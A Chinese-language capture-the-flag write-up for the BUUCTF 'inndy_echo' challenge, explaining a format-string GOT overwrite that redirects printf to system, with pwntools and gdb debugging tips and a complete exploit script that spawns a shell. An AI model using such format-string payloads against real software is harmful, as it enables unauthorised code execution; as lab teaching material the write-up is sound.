BUU-inndy_echo-WP
一道简单的hijack got,我做了一下午,原因是"%7$hn"写成了"$7hn",说到底来还是不熟练。

存在明显的格式化字符串漏洞。我们考虑劫持printf的got表值为system的plt地址。
payload = p32(printfgot + 2) + p32(printfgot) + "%2044c" + '%7$hn' + "%31740c" + '%8$hn'
就有了这样的payload。
由于我在愚蠢的错误上卡住了,所以看了一些wp,发现pwntools集成了一个很强的工具,像这道题目我们可以通过fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
,其中argue_place代表payload中前四个字符所在的参数位置(就是说%p$n
中p的值)。这样就非常的方便。
然后我为了看我到底有没有修改got的值,我还看了一下如何借用gdb来动态调试,由于我使用的是wsl2,没有图形化界面,需要特殊处理
再exp中先指定terminal,添加一句
context.terminal = ['tmux','splitw','-h']
然后在创建进程变量后,添加
gdb.attach(proc.pidof(sh)[0],gdbscript="b main")#这里的sh是进程变量
这样调试时先打开tmux,然后就可以动态调试了

最后的exp
from pwn import *
context(log_level = 'debug',arch = 'i386',os = 'linux')
#context.terminal = ['tmux','splitw','-h']
elf = ELF("./echo")
printfgot = elf.got["printf"]
sh =process("./echo")
#sh = remote("node3.buuoj.cn","25950")
#gdb.attach(proc.pidof(sh)[0],gdbscript="b main")
payload = p32(printfgot + 2) + p32(printfgot) + "%2044c" + '%7$hn' + "%31740c" + '%8$hn'
sh.sendline(payload)
sh.recvuntil("\n")
sh.sendline("/bin/sh\x00")
sh.interactive()